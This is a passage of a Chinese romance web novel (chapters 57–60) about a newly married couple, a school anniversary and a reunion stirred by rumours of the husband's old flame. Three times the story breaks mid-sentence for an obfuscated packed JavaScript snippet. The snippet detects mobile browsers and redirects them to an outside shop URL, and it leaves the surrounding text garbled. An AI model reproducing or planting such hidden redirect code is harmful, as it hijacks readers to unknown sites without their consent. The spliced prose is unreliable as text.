两秒后,原本还弯唇安静等待着的男人忽然猛地站起身来。 脑子里警笛转个不停。 他好像忘了一件事。 昨晚他趁许清也睡着后偷偷写了日记,而日记本,此刻正端端正正摆在书桌上。 更要命的是,有一本绝不能让她看见的写满批注的《小王子》,好像现在也安静躺在书桌一角。 57. 初恋 “砰—” 男人的身影忽然出现在门口,掌心撑着门框发出一声闷响。 他赶到门口的时候,许清也刚打开第一列柜子的第二个抽屉,正弯着腰仔细翻看一列药水的颜色。 碘伏的颜色很好找,但她想想还是不太好让他顶着一小块褐色的嘴角去上班,正捏着创可贴想再找找他没有没买乙醇。 猛地被响声吓了一条,许清也对自己在家偷感十足的表现有点懊恼。 既觉得自己没出息,又烦他一刻钟离不了人的粘人劲。 “怎么了?” 她直起腰无奈的问。 “好像记得有个药箱在书柜顶上。” “怕你拿不到。” 路薄神情如常,如果不是刚才掌心撑着门框的一声巨响,许清也可能会自然而然的相信他的话。 不过现在—— 她的视线狐疑地在书房里飘忽一阵,转过令路薄提心吊胆的书桌,最终也没看出什么反常,只得作罢,关上了抽屉。 “出去处理吧?” 路薄侧身半靠在门框上,刻意露出唇边微红的划痕。 眼神往书房外飘,明显是让许清也先出去的意思。 许清也心生一计,步调不紧不慢地走出房门,左脚刚踏出房门,整个人就忽然停在原处。 路薄看她似乎毫无所觉,悄悄松了口气。 一颗心放到半路,直接被她转身的动作吓得顺着“崖边”坠落。 许清也精准地捕捉到了他飘忽在书桌附近的视线。 她把药水往路薄怀里一塞,拉着他的手腕往书桌边走。 期间男人不是没有过逃避抵抗的想法,但是怕挣开会让她不高兴,还是满心视死如归地跟着走到书桌边。 他所有的秘密都在那本日记本里了。 绝望地在心里叹了口气,肩膀忽然被她柔软的手心一按。 路薄毫无防备地摔坐在书桌前的转椅上。 这一摔,他胳膊撑在桌边,指尖正好触碰到那本牛皮页的日记本上。 路薄蹙眉想要站起来,指尖不自觉地收紧,企图无声无息地把东西藏起来。 还想做点最后的挣扎。 “坐好!” 许清也冷不丁出声。 他刚拿稳日记本的指尖应激地松开,若无其事地挪到一边的桌角上。 “多大人了还学人家小伙子打架。” 许清也抽出一根干净的棉签,沾满药水,捧着他的脸靠近。 她精致漂亮的五官忽然放大在眼前,一双灵动的鹿眼忽闪地看着他,卷翘纤长的睫毛像一把小扇,扇出轻柔的微风,撩的路薄的心脏柔软到闪过丝丝痒意。 他一向敏捷清晰的思绪迟缓了几秒,才评出她这几句话的语气。 怎么像个训斥不听话孩子的母亲。 “严格来说,小伙子是指成年到二十多岁的年轻男性。” 路薄忽然开口,纠正她话里的错误 “按照法定年龄,我应该还在小伙子的范畴里。” 他一开口就牵动了唇边的伤口,许清也消毒的力道被影响,狠狠戳到他的伤口一秒。 “嘶—” 路薄短促地气声吹在她耳边。 “疼吧?” 许清也没理会他的咬文嚼字,捧着他的脸对着伤口左看看右看看。 她的动作看起来十分珍重,眼里偶然流露的心疼好像是只要他说疼,下一秒就会温柔地伤口“吹吹”。 不知道想到了什么画面,男人眸色一暗,居然点点头,老实开口: “疼。” 预料中温柔的安抚没有到来。 “疼就好,活该!” 许清也忽然松开托着他侧脸的手,活生生表演了一记川剧变脸。 忍不住结结实实失落了一阵,路薄趁着她对自己白眼的功夫,指尖偷偷把日记本拖到了桌边的资料堆里。 “你弟几岁你几岁?又不是小孩子了,解决问题还要用打架的方法?” 她白眼一记,最后还是撕开了创可贴,小心翼翼地贴在他脸侧。 “只要方法有用就行,没必要分小孩大人吧?” 路薄乖乖仰头让她贴好创可贴,顶嘴完了还补充道: “孩子不听话,欠管教。” “而且没有输赢,只是路远单方面被碾压,被我狠狠揍了一顿。” 许清也懒得听他的逆子发言,意有所指的目光在他唇边猫猫印花的创可贴上转了个圈,本意是嘲讽,却被他那张冷脸跟创可贴的反差敢逗得努力憋笑。 要是能保持到明天早上出门,他幼稚的偏好大概全单位都能知道了。 路薄对她的情绪转变摸不着头脑,只知道日记本的危机警报好像暂时解除了。 心里松了口气,也揽着她的腰笑起来。 他一笑,动作扯到了唇角,又不自觉地轻轻皱了点眉。 表情莫名跟创可贴上似笑非笑的猫猫头像同步了。 许清也忍不住扑哧地笑了出来。 女孩笑起来,圆润的鹿眼弯成了一双月牙,白皙的脸蛋透着红润的色泽,路薄喉结翻滚,喉间忽然有点干涩。 他抚着许清也脑后的发丝,偷袭似地在她唇边一啄。 许清也愣了一秒,唇边细嫩的皮肤被他脸上的卡通创可贴划过,有点痒痒的微疼。 还没等她直起身来勒令路薄正经点,男人偷袭般的吻又落在她眼尾。 他吻她推,灵巧地躲过她后滞半秒的拍打,路薄好像对这种幼稚的躲避游戏上了瘾,轮换着在她五官的每个角落落下轻吻。 轻吻一路落到唇角,男人捧着她的脸颊,这次学会了小心避开创可贴蹭过她脸颊的角度,加深了这个吻。 空气在唇齿间被剥夺,如同相依在浅水洼中的小鱼儿,他们彼此交换气息,也品尝彼此的温柔。 喘息着分开的时候,许清也望着面前男人比平常更红润还泛着丝丝晶莹光泽的唇,红着脸避开他直勾勾的目光。 原本泛着健康微红的双颊被他的动作弄得爆红,她想把话题掰回来,转回视线看他。 严肃不了两秒,还是破功地笑了出来。 路薄紧揽着她腰身的大掌轻轻一收紧,许清也瞪着一双圆圆的大眼睛,笑着摔进他怀里。 突如其来的变故没有影响她被逗笑的心情,许清也下意识揽住他的脖子。 膝盖边是他温热有力的大腿,许清也卡在这个位置,姿势暧昧。 摩擦间察觉到一点异样的触感,她瞬间僵直了身体。 反手就在男人宽厚的肩上狠狠拍了两下。 客厅模糊传来一阵手机铃声,许清也担心是迟枣枣打来的,撑着他胸膛触感柔韧的肌肉猛地起身,头也不回地跑向客厅。 只留下被她猛地一撑在心口的路薄靠在转椅上,捂着心口,扯着嘴角苦笑。 …… 电话不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177874|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟枣枣打来的,而是一个不认识的学妹。 电话里的女生似乎还在读大学,对于晚上忽然来电话打扰有点不好意思,客气地表明了打电话的来意。 江城三中一百五十周年校庆就要到了,校友会打算搞一次大聚会。 近二十年毕业的年级,大多班级都会在校庆那天晚上搞同学聚会,许清也所在的五班也不例外。学妹打来电话,既是邀请她去校庆,也是提醒她看看班级群的消息。 许清也当年念高中的时候还不流行微.信,班级群也是某南极生物软件的。 自从她的扣扣号闲置后,的确是好多年没有登录过看消息了。 “嗯,我会去的。” 她转头看了一眼书房的方向,书桌边的灯亮着,路薄还没有出来。 跟学妹客气地寒暄两句,许清也就挂断了电话。 想起来上次跟路家人吃饭的时候,蒋玉琳好像提到过,路薄高中也是在江城三中念的。她放下手机,蹑手蹑脚地站到门口。 扶着门框偷偷往里探出半个脑袋,没能抓住他藏东西的动作,反而对上男人猎猫般敏锐的双眸。 “那个,你收到校庆的通知了吗?” 被眼神捉住,许清也双手背在身后拉在一块,走进灯光昏暗的房间。 “哪个校庆?” 他看起来已经完全平复,顺手带上了桌边的金丝眼镜,翻起杂志。 还能有两个校庆吗? 许清也偷偷撇嘴,不知道他什么时候开始变得这么装了。 似乎看出来她心中想法,路薄开口解释道: “海事大学和江城三中的校庆只隔了一天,时间来不及,大概只能挑一个去。” “我还没想好去哪边。” “哦。” 许清也垂眸点点头,假装不在意地走近,实则有点小沮丧。 都知道她也是三中的了,趁着校庆一起回母校看看不是很好吗? 虽然他们高中时候还不认识,没什么共同回忆可谈,但好歹在一个学校里念了三年高中,能聊的大概也很多。 去哪边,有那么难选吗? 除非怕想起什么跟其他人的美好回忆,心虚。 她自以为把情绪掩藏的很好,实则樱唇早就翘的老高,就差没满眼写着“不高兴”三个大字。 在路薄面前,她好像也越来越习惯不藏心事了。 “刚才是通知校庆的电话?” 路薄后知后觉地品出点意思,抬头问。 不用许清也回答,从她嘴唇翘成小钩子的样子就很容易得到答案。 偏偏这“钩子”稳稳钩在他心上,一牵一扯都拨动着情绪。 “三中的校庆,你要去的话,那天就一起去吧。” 路薄眼底浮起浅浅的笑意,不转弯地道。 许清也果然就吃这种直球,很快忍不住微弯唇角。 “那我们下周末一早就去,你可别赖账啊。” “那么早去做什么?”他挑眉。 “逛学校啊。” “先说好,跟初恋甜甜蜜蜜的地方就别逛过去了,自觉避开好吗?” 她还是有点在意他跟何学妹传奇又浪漫的传闻。 路薄语气一顿,含笑打量她半天,最后慢条斯理道: “那恐怕……有点难。” 先提起话茬的许清也心里一梗。 果然。 这男人就没憋什么好屁! 58. 喜欢你 接下来整整一个周的工作日,许清也每天下班第一件事就是去迟枣枣家报道。 一开始单纯是怕她情绪不好,想着不管做点什么,也得看着她度过绯闻热度没过去的这段时间;后来两人每晚都小酌两杯,有时候一块看电影,有时候窝在一块弄点黑暗料理,好像时间回到了许清也刚到江城不久。 许清也更有点自由上瘾的感觉。 那时候整座城市对她来说都变陌生了,只剩下迟枣枣一个朋友。 还没租上房子的半个月里,许清也蹭住在迟枣枣家,每天下班后的时间简直惬意到无法想象。 以至于她后来找到房子搬出来的时候,迟枣枣跟她两个人都有点舍不得。 所以一开始,迟枣枣也跟开心这种像是回到几年前的感觉。 除了每天坚持要许清也回家睡以外,基本上每天都是翘首以盼的状态。 终于在某天捏扁一罐空荡的奶啤易拉罐后,许清也没形象地打了个果味酒气的轻嗝。 “枣枣,你说我今晚就在你家住了好不好? “不好。” 迟枣枣一比一复刻她捏扁易拉罐的动作,摇了摇头。 “你说实话,一个劲往我这跑,是担心我呢,还是躲人呢?” 啪地一声拍爆袋装薯片,迟枣枣一歪脑袋狐疑地问。 其实路薄说的没错。 被打了两拳的路远看上去至少是清醒了点,虽然还是坚持公开的想法,但至少积极配合了公关,半天内把有关迟枣枣的词条全都撤了下来。 许清也知道以迟枣枣的性格肯定不会再接路远的电话,更别提骂一顿他。 但他的某些狂热粉丝说话那么难听,让枣枣受这么大委屈,没能当面骂一顿,她怎么想还是气不过,心疼枣枣。 以至于夜里有点睡不着地辗转反侧。 路薄听了后,忽然伸手揽住她,一声不吭地拨通了路远的电话。 电话接通,许清也惊讶地用口型问他: “干嘛啊,大半夜的?” 路薄坦然地按了扩音键,看上去像是困得不行,下意识把她往怀里抱紧两分,懒洋洋地道: “骂他。” 久久没听见许清也开口,以为她不好意思。路薄就先一步随便替她骂了两句。 有人帮衬,许清也被他鼓动,试探地骂了几句。 越骂越找到感觉,路薄帮着她找论据,甚至翻出来几件路远小时候做到蠢事。 大半夜睡得迷迷糊糊的路远被亲哥一通电话吵醒,衡量了两秒,还是没敢不接。 一接通,就是哥嫂两人“珠联璧合”的讨伐。 他理亏,没敢啃声地接着了。 隔天路远的工作室迅速出了声明,表明他只是感情生活上目前有喜欢并在追求中的女生,关于隐婚的假新闻,请大家不要误伤无辜的人。 迟枣枣看到声明的时候忍不住冷笑一声抛开了手机。 这时候倒是变无辜的人了。 到这步了还想立深情人设呢? 粉丝大多还是理智的,有组织的控评下,热度一步步消退,也渐渐没有再出现过人肉迟枣枣个人信息的帖子了。 热度退了大半,要说完全是担心她,迟枣枣是有点不信了。 “说吧,躲你老公干嘛呢?” 茶几上的电话应声响起来,许清也瞄了一眼备注,果然又是路薄。 听到老公两个字,她就忍不住鸡皮疙瘩爬上了胳膊。 虽然法律上已经结婚很久了,但听到这种亲昵的称呼,她还是会觉得腻得慌,完全想象不出她能有自然地叫出这个称呼的日子。 “好端端地我躲他干嘛。” “我又没做错事……” 许清也拍了拍胳膊道。 迟枣枣敏锐地感觉到她话里漏风的话头。 “他竟然敢做对不起你的事?!” 迟枣枣从许清也支支吾吾的样子里脑补出了一出八点档的狗血伦理剧情,撸着袖子就要去找人说理。 “不是!” 许清也有点感动又有点好笑,按住她的同时更庆幸路薄那天晚上直接打出去的电话。 至少她也能为枣枣做点出气的事情。 “那你躲他干什么?” 迟枣枣有点不理解了,她一向是热恋期恨不得24h黏在一块的甜蜜主义。 “就是……”许清也叹了口气,不知道自己这么想会不会有点太敏感了,“就是自从上次回江城后,我总感觉他担心我有点过了。” 茶几上的手机屏忽闪几秒,又是路薄传来的消息。 本来寡言少语的一个人,谁知道“恋爱后”一天能发八百条消息问她在哪,在干什么。 一开始许清也还觉得有点甜蜜的烦恼,就只是觉得路薄有点粘人罢了,可是后来他好像越来越夸张了。 她跟前同事碰面交接点事宜,顺便吃顿饭,没说地址,他却能从朋友圈的蛛丝马迹里找出地方,惊喜地来接她回家;每次她出门,都一定要问清楚归期,迟回到几点,他就能抱着芝士在客厅沙发上坐到几点…… 一次两次或许还是甜蜜惊喜,但就连她晚上出门丢个垃圾都大惊小怪的,次数多了不免有点毛骨悚然的感觉。 许清也看迟枣枣不当回事的表情,没敢说路薄这会儿很可能就坐在枣枣家小区的地下停车场等她。 毕竟前两天也是如此…… 许清也本能地觉得这种近似监视的感觉让她不太舒服。 就好像农夫好不容易守到了离开过的兔子,于是打造了一层有一层透明的笼子,就为了防止兔子再一次逃离。 “秀恩爱就别跟我这单身人士面前舞了。” 迟枣枣一巴掌把她推出了门。 “明儿个别来了,我可能晚上不在家啊。” 门里的女孩丢下一句话,就合上了房门。 许清也只好丧气又好笑地背上帆布包,慢吞吞地下楼。 被曲解成秀恩爱了,她摇着头点开路薄发来的未读短讯。 他的语气温和,虽然紧张她的一切,却没有逼问之类的意思。察觉示弱的撒娇和美□□惑更有用,更多的时候,他都用这种迂回战术来试图得到她的回答。 许清也掐黑手机屏,泄了口气。 也许真的是她多想了。 …… 周末的时间转瞬而至。 许清也对校庆很上心,那晚时隔好多年登上了了自己的南极生物账号,一眼就看到了班级聚会的消息。 班长看起来还是当年自来熟又热心组织的性格,号召力不减当年,基本上除了在国外工作赶不回来的同学,其他人都表示会去同学聚会。 不小心戳进空间相册,她指尖在那张熟悉的流星照边划过,还是直接滑了过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188996|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每个人都有往前的路要走。 那年没等到“国王”先生,也有过不甘心和留恋,但终究是她先莫名其妙“消失”的,许清也没办法联系到他,也不敢想尽办法找他。 因为解释的话无从说起。 八年过去,她因为路薄的原因,最近的确常常想起他,不过也只剩下愧疚的情绪了。 流星划过之后,大家都还要努力生活。 “国王”先生想必在她没能遇见的地方,也过着幸福的生活。 当初把相片存在空间相册里,是逃避,也是舍不得。但现在对她而言,只是一份珍贵又真挚的回忆而已。 她长按保存回了那张图片。 思绪又飘到相片上,许清也捧着手机窝在沙发上,险些又睡着。 今天是校庆的日子。 她一大早就拽着路薄起床,打算早早避开人潮去校园里逛逛。 然而太早起床的后果就是,看着看着手机,居然差点又窝在沙发上睡着了。 为了避免困意统治意识,许清也伸着懒腰强迫自己清醒,绕到厨房偷偷拉开推拉门,扒着门框看路薄忙碌的背影。 男人围着熟悉的碎花围裙,神情专注地用水果刀削着草莓蒂。 许清也望着他的侧脸发呆,才发现他今天穿的家居服居然是那件她老早就想看他穿的深绿色的美式卫衣。 只是打算简单做个早餐,外加给许清也带盒水果当作零食。 路薄熟练地对半切开面包片,就要把黄瓜片铺进三明治。 “停…停停!” 许清也从男色中回神,阻止道: “我的那份不放黄瓜不行吗?” 一想到生黄瓜那股特殊的口感,她表面不显,内心整个五官都要嫌弃地皱在一块了。 路薄充耳不闻地铺着黄瓜片。 “黄瓜维生素很丰富,对身体好。” 他不知道什么时候学了尹女士那套说辞,听的许清也耳朵差点起茧。 多说无益,她借着困劲从背后环住他劲瘦的窄腰,靠在他背上闷闷地道: “可是我不喜欢吃。” 路薄没想到她为了挑食能做到这份上,动作明显顿了一下,手上还是坚守冷面判官那一套,一点也没停下。 这都不奏效。 许清也的好胜心突然一下子被激起来,盖过了不适应撒娇的别扭感。 她伸手扯了扯路薄的袖子,等人终于被她拉得转身低头看她的时候,伸出胳膊环在他的颈上。 “啵——” 许清也按下路薄的脑袋,一个吻印在他干涩的唇上。 “我讨厌黄瓜。” 明显抱抱和亲亲的杀伤力并不同。 路薄赤红着耳根,声音有点不易察觉的慌乱。 “是…是吗?” 难得逗得到清醒的他,许清也心情大好。 原本对于路薄过分关注自己一举一动的不舒服,此刻看着他难得显露出踪迹的大乱阵脚,也暂时地消散了些。 她揽着他的脖子,偏头就能看见他切的小块精致的水果切盒。 忽然想起他那晚醉酒中委屈的声音,许清也有点心软。 “黄瓜就别放了好不好?” 她瞄了眼大片的黄瓜片,趁热打铁,却也真心地道: “讨厌黄瓜片有什么关系?” “喜欢你不就够了吗。” 59. 叶脉书签 如何一句话硬控路薄一整天? 许清也感觉自己好像找到窍门了。 开车去三中的路上,她视线时不时飘忽到路薄依旧留着薄红的耳根,偷偷勾着唇角忍笑。 以前怎么没注意到,他居然这么纯情? “滴——” 正是上学的点,三中大门口的那条马路堵了常常一条车流,正以蚂蚁般的速度前进。 “要不我们还是绕去后门吧?” 许清也想着后门的情况也许好点,趁着还没陷入这条无止尽堵车的长队,赶紧提议。 话说了一半,路薄就熟练地转向三中后门方向的岔路,看样子是从一开始就没打算走正门这边。 只可惜后门还是差不多的境遇。 路薄干脆把车停在了前一个路口。反正时间还早,两人下了车,手牵手慢慢地沿着后门外的林荫路走着。 初春的菩提树才刚刚长出新叶,嫩绿小巧的叶片层叠在枝桠上,还不能完全挡住头顶明媚的阳光。 许清也本来还有点不习惯在大街上跟他牵手,但男人一下车就抢过了她手上的便当袋子,伸出手不由分说地十指相扣。 阳光从路另一侧洒在红砖路上,许清也走在他右侧,耀眼的阳光被身侧男人高大的身影挡住大半。 她稍快脚步,心情也轻快起来,交握的手随着步伐微微摇晃起来。 许清也低头看去。 她的步子不大,每一步都稳稳地踩在他的影子上。 一阵晨风吹过,卷落了头顶一片泛着黄边的绿叶。 初春时候本来不该有落叶的。 许清也想,可能是这片叶子的运气不够好,不小心被风给卷了下来。 叶片落在人行道的红砖上,单独一片,红绿的颜色对比就衬得格外明显。 跨过叶片的时候,许清也忽然想起来她在路薄家也见过一片相似的菩提叶脉书签。 他很宝贝那片书签,但尽管珍惜,书签看起来有点“年纪”了,也已经放旧了。 即便塑封过,看起来也很脆弱。 要不重新做一个? 忽然闪现的念头化为一股力量牵着她停住脚步。 “怎么了?” 感觉到女孩顿住脚步,路薄也跟着停下。 许清也想返去把刚才那片叶子捡起来。 她松开扣在他指间的手指,转头道: “你等我一下。” 走出两步,男人却没有顺着她的话松开她的手,反而是握得更紧。 晨风摇晃着叶群,吹动红砖上那片不大的绿叶翻动了两圈,又停在了几步外。 对路薄这阵子粘人的行为,许清也已经习以为常。 她怕再一阵风把叶子给吹走了,目光追随着叶片,安抚地拍着他的手背道: “就松开一下下。” 男人盯着她因为回头的动作而摇晃在脑后的马尾,被晃过的阳光刺了眼,固执地抓紧她的手。 “不。” 他拒绝的还真是理直气壮。 许清也今天心情不错,没为一点小事跟他吵,拉着他的手往回走了几步,就着牵手的姿势蹲下身,用另一只手捡起了地上那片叶缘泛黄的。 “那边手。” 她晃了晃两人粘在一块的双手,眼神示意路薄拎着便当袋子的另一只手。 男人不明所以,但还是低头伸出了右手。 小巧的叶片被塞进他手中,许清也转头拉着他的手重新朝三中后门的方向走。 “我们带回去再做一个叶脉书签吧,做一个新的。” 女孩的声音没了刚才的雀跃可言,反而有点较劲的意思。 她刚才才联想到,路薄这么宝贝那枚书签,如果真的是在这条路上捡的,说不定就纪念着他跟那个“何学妹”的什么故事。 靠着这些年看过的青春校园偶像剧,许清也脑海里偷偷冒出来几个零碎想象的画面。 忽然就觉得这片叶子捡的有点傻。 身后男人的气息忽然柔和下来,顺从地被许清也拉着走。 路过划着停车位的路段,许清也借着停在路边的汽车后视镜,一眼就看见他看着左手掌心的叶子发呆的样子。 像是被抽了魂。 嘴角还挂着不易察觉的浅笑。 有那么高兴吗? 她偷偷撇嘴,对着他懒洋洋的步伐催促: “走快点啦!” ——— 三中的校庆并不是每一年都会开放校区,今年因为意义特殊,为了不影响正常的教学活动,还专门在前后大门都拉了隔带,辟出一条校友通道。 许清也拉着路薄逛了一上午,兴致勃勃地要去食堂吃饭。 路薄低头看了一眼腕表。 距离学生们中午放学的时间还有十五分钟,虽然不至于跟他们抢饭吃,但肯定免不了坐在一堆高中生中间吃饭了。 他有点不习惯地抿唇,但还是点了点头。 许清也看出来他的犹豫,指尖勾起来戳了戳他的掌心,问道: “怎么了?三中的食堂不好吃吗?” 路薄无奈地捉住她的指尖,反问道: “好不好吃,你还不知道吗?” 这还真问住许清也了,她眨吧两下大眼睛,真诚地回答道: “这我还真不知道。” “我上高中的三年从来没在食堂里吃过饭,尹女士说外面的饭菜不如她做的好吃有营养,我都是回家吃饭的。” 好像想起来什么,她侧身指了指路薄手上的便当袋子。 “有时候我嫌浪费时间,也会自己带。” “这种便当盒,我那时候就经常用。” …… 路薄忍不住弯唇笑出了声。 他总算知道为什么高中的时候从来没在食堂碰见过她。 “那就尝尝。” 他重新看了眼腕表,拉起女孩往不远处的食堂方向走。 “百闻不如一尝,好不好吃你还是自己下定义吧。” ——— 午饭,许清也领略了三中食堂平平无奇的饭菜味道和战况激烈的干饭现状。 她吃了个半饱,最后全靠路薄带来的水果切合撑着逛完了校园。 好在晚饭的同学聚会选在三中隔壁那条路上的老店,口味有足够的保证,让午饭没怎么吃饱的许清也更期待了。 老店有好几层包厢,路薄那一届的好几个班级也选在这里聚会,正巧他要去的包厢就在许清也楼上。 一整天腻在一块逛校园,许清也有一种梦回青葱时光的感觉。 路上碰到以前的老师,她还差点不自在地甩开路薄的手。 有一种早恋被抓的错觉。 这种感觉有点奇妙,也有点弥补他们明明念过同一个学校,当时却不认识的遗憾。 不过难得一整天呆在一块,许清也最后还是有点腻得慌。 在楼梯转角象征性地晃了晃牵在一块的手,她就迫不及待地道: “你快上楼吧,我也去包厢了。” 路薄好像不太满意地扯住她肘边的袖子,问她: “还有什么其他忘记的吗?” 他偷偷弯下一点点腰,佯装自然地侧过脸。 “哦对。” 许清也恍然大悟,扯开他的手靠近。 男人满意地把头压的更低。 “你记得少喝点酒。” 女孩趁机摸了摸他的发顶,带着恶作剧得逞的笑意转身,没有一点留恋地沿着二楼走廊离开。 五班定的包厢是207,她数着门牌号走了几步就到了。 一进门,就看见许多熟面孔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203014|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎!小也,你坐这儿!” 八年时间,班长长相没怎么变,就是发际线有所提升。 看见许清也推门进来,立马热情地招呼她坐到圆桌靠窗边的位置来。 “来,吴思蔓就坐你边上。” 班长绅士地推开椅子,一转头没看见吴思蔓的人影,拉着其他同学问了句: “吴思蔓人呢?” “去洗手间了吧,应该马上就回来。” 文娱委员在墙上粘完最后一个字母气球,转头回答。 就像以前策划班级的元旦晚会一样,大家分工明确,仅仅有条地布置着。 老同学们陆续找到了包间,大家很多年没见,都各自跟相熟的同学凑到一块天南海北的聊起来。 许清也正帮忙打几个气球,一个没拿稳,手上原本要打结的气球“扑哧—”地漏光了气。 “我来我来!” 邻座的椅子被推开,一个打扮随性帅气的女孩坐下来,拿过许清也手里的打气筒重新打起气球来。 “蔓蔓!你什么时候回国的?” 许清也惊喜地看着吴思蔓的侧脸。 “就昨天。” 吴思蔓挪开视线冲她笑了笑,低头把长条形的气球随手扎了朵花。 吴思蔓还是跟以前一样手巧又审美在线,大学毕业之后听说她去了意大利念研究生,跨考了一个艺术学位的专业,不过不是摄影。 今天前的朋友圈看她还在意大利,许清也原本以为这次同学聚会她大概赶不回来的。 虽然很久不联系了,但看到高中时候的好友,许清也还是很惊喜。 她拉着吴思蔓看前阵子自己在盐湖山拍的风景,相册一张张划过去,划过那张路薄单手举着望远镜的侧影,吴思蔓眼尖地叫停,划了回来。 “欧呦,这谁呀拍的这么帅?男朋友吧?” 吴思蔓挤眉弄眼地开玩笑。 许清也脸一红,诚实道: “不是男朋友。” 吴思蔓一愣,趁着她错愕的当口,许清也才狡黠地笑着开口补充: “不是男朋友,是我先生。” “我前不久结婚啦。” 这次轮到她挤眉弄眼地跟吴思蔓笑道。 一顿饭气氛火热,直到临近聚会尾声的时候,包厢里才短暂地安静下来一点。 这一安静,隔着走廊,对面包厢氛围火热的口哨声显得更夸张。 “隔壁还挺热闹。” 吴思蔓惊讶地朝门口探了探脑袋。 坐在她边上的班长耳尖地听见了,惊讶地转头看向她们,闲聊道: “你们不知道吗?” “知道什么?” 吴思蔓高中的时候就讨厌班长每次聊八卦都要卖关子这个坏习惯,不耐烦地催他: “你知道你倒是快点说啊。” 班长卖关子失败,悻悻地摸了摸鼻子: “嗐,你们不知道也正常。” “就我们年级那个校花,隔壁班的,刚从国外回来,就来参加同学聚会了。” “嘁,我不也从国外赶回来的吗?” “这有什么好稀奇的。” 吴思蔓还以为是什么爆炸性新闻,扫兴地撇嘴。 “那不一样!”班长摆手,神神秘秘地压低声音。 “人当年跟我们学校的一个风云学长虐恋情深,那完全就是偶像剧啊。这一回国就直奔同学聚会……而且听说这次回来就不回国外去了,那可不有八卦酝酿着吗?” “好像那个学长今天也来同学会了。” 许清也怎么听怎么觉得故事有点耳熟。 她趁机会插话问道: “咱们年级那个校花,她叫什么名字啊?” “好像姓何。”班长秒答。 “对,叫何玫来着。” 60. 谁的秘密 洗手间真的是个听八卦的圣地。 虽然两个班聚会的包厢就只隔了一条走廊,许清也也没有想过偷偷看一眼何玫的样子。 不是因为她不好奇,只是因为传言不管是真是假,都已经成为过去式了。 重点是当下。 她不想因为这一眼再心在存下什么疙瘩,今后还要是不是翻出来想一想。 但现在的情况的确是有点左右为难了。 隔间的门隔不住洗手池边几个女生闲聊的声音,不外乎是在议论何玫当年突然出国,现在又忽然回国的事情。 兜兜转转,还是避免不了地提及了路薄。 “你们说,他们俩还有可能旧情复燃吗?” 许清也转动门把手的指尖忽然顿住。 这个问题她也有点好奇其他人的看法。 “说不准……” 另一道女声压低声音。 “刚刚她补了口红出去的,看样子往楼上走了。” “你说会不会就是去找路学长的?” 许清也没藏住劲,转开了隔间的门。 不大不小的响声打断了女生们八卦的对话,几个女生悬着心朝她这边望了一眼,见是个不认识的陌生人,才松了口气,不过也不再借着谈论。 许清也尽量自然地走到空着的水池边洗手,看着镜子里自己几乎掉完的唇妆出神。 从包里翻出气垫想要补补妆,翻了几下才发现早上来的时候赶着时间在车上涂口红,把好几样化妆品落在路薄车上了。 可能是发现还有外人在,有点不自在。 短短一分钟不到,洗手间里的人已经走空了。 许清也对着镜子整理了会儿刘海,抿了抿总觉得缺点颜色的唇,快步出了洗手间。 手机震动一声,是路薄发来的消息。 他说楼上那边聚会也散局了,他先去开车,让她就在饭店楼下等他。 许清也不知道为什么,突然觉得现在让他出现在同学们面前有点不自在。 原本想跟他一起散步到三中后门去开车,但看了眼手机只剩下百分之十的电量,她有点怕还没得到路薄的回复,自己手机就先一步关机了。 没办法,只能站在饭店门口乖乖等他。 等待的时间有点久,老同学们陆续离开,倒是没看到班长和吴思蔓的人影。 初春的温差比较大,白天暖洋洋的阳光一下山,饭店门口的夜风一吹,酒精味散了不少,许清也不自觉地拢了拢针织外套。 “小也,你还没走呢?” 许清也闻声转头,班长跟几个最后收尾结账的班委一块从门口出来。 “等出租车吗?要不然我送你吧?” 班长晃了晃手机道: “刚叫的代驾应该快到了。” 许清也低头看了眼时间,虽然有点久,但还在正常等待时间内。 她不好意思地摆手,还没出口拒绝,吴思蔓忽然探脑袋道: “我也叫车了,还是我送小也吧。” 许清也笑着摇头,婉拒道: “不用了,我先生说好过来接我。” “谢啦。” “小也你……什么时候都结婚了?”班长原本不大的眼睛瞪得溜圆,好像有什么纠结的事情,表情有点古怪。 吴思蔓挤开班长,挽着许清也的胳膊道: “那我陪你等会儿吧,顺便亲眼看看你的镜头有没有‘女友滤镜’太深!” 她俏皮地眨了眨眼,许清也被她玩笑轻松的语气感染,想了想也就没拒绝。 “嗯,要不一会儿蔓蔓你就坐我们的车回酒店吧?这么晚了,一个人打车怪不安全的。” 许清也有点担心她刚回国,人生地不熟。 说话的功夫,她好像远远看见路薄的车在马路对面停了下来。 饭店门口是一条单行道,他本来应该到前面掉头的,但现在好像停在原地,从半开的车窗看去,好像在跟什么人争执。 